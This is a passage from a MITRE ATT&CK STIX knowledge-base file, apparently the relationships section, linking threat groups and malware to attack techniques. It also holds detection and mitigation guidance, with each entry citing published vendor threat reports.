"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77559f07-2f75-4eab-962f-3705b9ad704b", "type": "relationship", "created": "2020-10-01T01:01:00.257Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-01T01:01:00.257Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2", "target_ref": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--775d3c82-5863-43fa-8dfd-2f62382d53f1", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Kazuar May 2017", "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}, {"source_name": "Talos TinyTurla September 2021", "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html", "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}], "modified": "2021-12-02T15:45:11.499Z", "description": "(Citation: Unit 42 Kazuar May 2017)(Citation: Talos TinyTurla September 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--775f9337-6cab-49f6-850e-af3038f0c806", "type": "relationship", "created": "2020-10-19T19:53:10.828Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco IOS Software Integrity Assurance - Deploy Signed IOS", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#34", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Deploy Signed IOS. Retrieved October 21, 2020."}], "modified": "2020-10-22T17:49:03.336Z", "description": "Many vendors provide digitally signed operating system images to validate the integrity of the software used on their platform.  Make use of this feature where possible in order to prevent and/or detect attempts by adversaries to compromise the system image. (Citation: Cisco IOS Software Integrity Assurance - Deploy Signed IOS)", "relationship_type": "mitigates", "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", "target_ref": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7765bb01-3f20-47f8-a871-ad334e927af2", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor for unexpected access to passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/\\/maps</code>, where the <code>\\</code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7767d727-fba8-4b7a-b7fe-137ed9261680", "type": "relationship", "created": "2019-03-25T15:05:23.734Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Olympic Destroyer 2018", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "modified": "2020-11-30T18:05:52.792Z", "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) overwrites files locally and on remote shares.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) ", "relationship_type": "uses", "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77694ac6-12cf-4bea-a0c5-7c400702b70a", "type": "relationship", "created": "2022-03-30T14:26:51.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.838Z", "description": "Monitor for newly constructed processes and/or command-lines that look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system. Typically these should only be used in specific and limited cases, like for software development.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--776e6d33-8d3d-42bc-bee2-770d8399dfc4", "created": "2022-09-21T14:49:32.317Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-23T20:55:30.930Z", "description": "(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8", "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7779aecc-13bd-41cc-9630-6f8e04b6dd01", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T21:53:49.123Z", "description": "Monitor executed commands and arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7779c4b8-d007-439a-81b7-b56efb8742ea", "created": "2023-03-26T18:10:26.445Z", "revoked": false, "external_references": [{"source_name": "Symantec RAINDROP January 2021", "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T18:10:26.445Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used WinRM via PowerShell to execute commands and payloads on remote hosts.(Citation: Symantec RAINDROP January 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--777c4c38-9da2-4473-b5d0-61f175014760", "type": "relationship", "created": "2021-06-30T19:50:14.769Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-06-30T19:50:14.769Z", "description": "[Nebulae](https://attack.mitre.org/software/S0630) has the ability to use <code>CreateProcess</code> to execute a process.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--778297c2-55a2-4f80-8216-daa25bd148a9", "type": "relationship", "created": "2021-01-22T16:26:31.470Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T16:26:31.470Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has copied tools between compromised hosts using SMB.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--778765e1-7eb6-46b1-a370-6dfe09081ee3", "created": "2019-05-24T17:57:36.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SecureList Silence Nov 2017", "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", "url": "https://securelist.com/the-silence/83009/"}, {"source_name": "Group IB Silence Sept 2018", "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T14:30:32.211Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) can capture victim screen activity.(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--778aa9ba-0561-44bd-a28f-94ba2b12f78b", "created": "2023-02-16T18:56:40.454Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T22:46:22.702Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) can download a clipboard information stealer module.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77945b82-ac46-4ac0-a0e7-2ded2f490aaa", "type": "relationship", "created": "2022-03-30T14:26:51.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.853Z", "description": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7799861e-ea03-4574-9170-e4b3ba241cc5", "type": "relationship", "created": "2020-02-21T21:11:07.166Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-21T21:11:07.166Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--779a41f1-84ca-4cac-91fb-826bc102d5bd", "created": "2022-03-30T14:26:51.839Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "modified": "2022-04-20T03:17:11.376Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985", "target_ref": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--779b1ed2-5ff6-408d-837e-571bbc4ecc4a", "created": "2023-10-02T16:29:24.955Z", "revoked": false, "external_references": [{"source_name": "Sygnia Elephant Beetle Jan 2022", "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.", "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}, {"source_name": "Mandiant FIN13 Aug 2022", "description": "Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.", "url": "https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T16:29:24.955Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) has downloaded additional tools and malware to compromised systems.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77a6ec35-4708-4017-a767-ef3a86e3db1e", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Monitor executed commands and arguments that may employ various means to detect and avoid virtualization and analysis environments. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--77a73e89-d4b6-47c7-8676-8208c3797680", "created": "2022-09-28T13:41:42.494Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T13:41:42.494Z", "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs. ", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77a75897-0325-472b-a7d2-2c5f1faf5d46", "type": "relationship", "created": "2021-04-13T19:29:21.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks BRONZE PRESIDENT December 2019", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}], "modified": "2021-04-13T19:29:21.063Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) will delete their tools and files, and kill processes after their objectives are reached.(Citation: Secureworks BRONZE PRESIDENT December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--77a98e76-5a38-40a8-af9a-180c31bf7563", "created": "2021-05-03T19:55:04.097Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Certfa Charming Kitten January 2021", "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/", "description": "Certfa Labs. (2021, January 8). Charming Kitten\u2019s Christmas Gift. Retrieved May 3, 2021."}, {"source_name": "ClearSky Kittens Back 3 August 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has attempted to lure victims into opening malicious links embedded in emails.(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)", "modified": "2022-04-08T18:13:32.134Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77b9cc09-ebbe-44cc-86dc-452a9648caef", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor executed commands and arguments that may attempt to hide artifacts associated with their behaviors to evade detection.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77b9e1c5-8241-4260-8125-4bc2e1206b9c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TYPEFRAME June 2018", "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}], "modified": "2020-03-17T13:49:31.299Z", "description": "One [TYPEFRAME](https://attack.mitre.org/software/S0263) variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value \"0x35\".(Citation: US-CERT TYPEFRAME June 2018)", "relationship_type": "uses", "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77bcb339-4a2f-4fa6-9145-c653000952dc", "type": "relationship", "created": "2019-04-23T15:49:35.551Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", "source_name": "ESET Ebury Feb 2014"}], "modified": "2019-04-26T20:14:18.183Z", "description": "[Ebury](https://attack.mitre.org/software/S0377) has encrypted C2 traffic using the client IP address, then encoded it as a hexadecimal string.(Citation: ESET Ebury Feb 2014)", "relationship_type": "uses", "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77bd9ea1-9401-4128-a78a-bd28d43a6c99", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Kazuar May 2017", "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}], "modified": "2020-03-18T21:55:33.602Z", "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about local groups and members.(Citation: Unit 42 Kazuar May 2017)", "relationship_type": "uses", "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--77c31f47-883a-4381-a70e-96bd5f1371d3", "created": "2023-01-24T00:15:07.816Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Sept 2022", "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}, {"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T14:59:37.858Z", "description": "[metaMain](https://attack.mitre.org/software/S1059) can take and save screenshots.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "relationship_type": "uses", "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77c3f6a1-f25c-4669-bdc1-0f358793dd34", "type": "relationship", "created": "2021-03-19T13:38:12.585Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}], "modified": "2021-03-19T13:38:12.585Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a 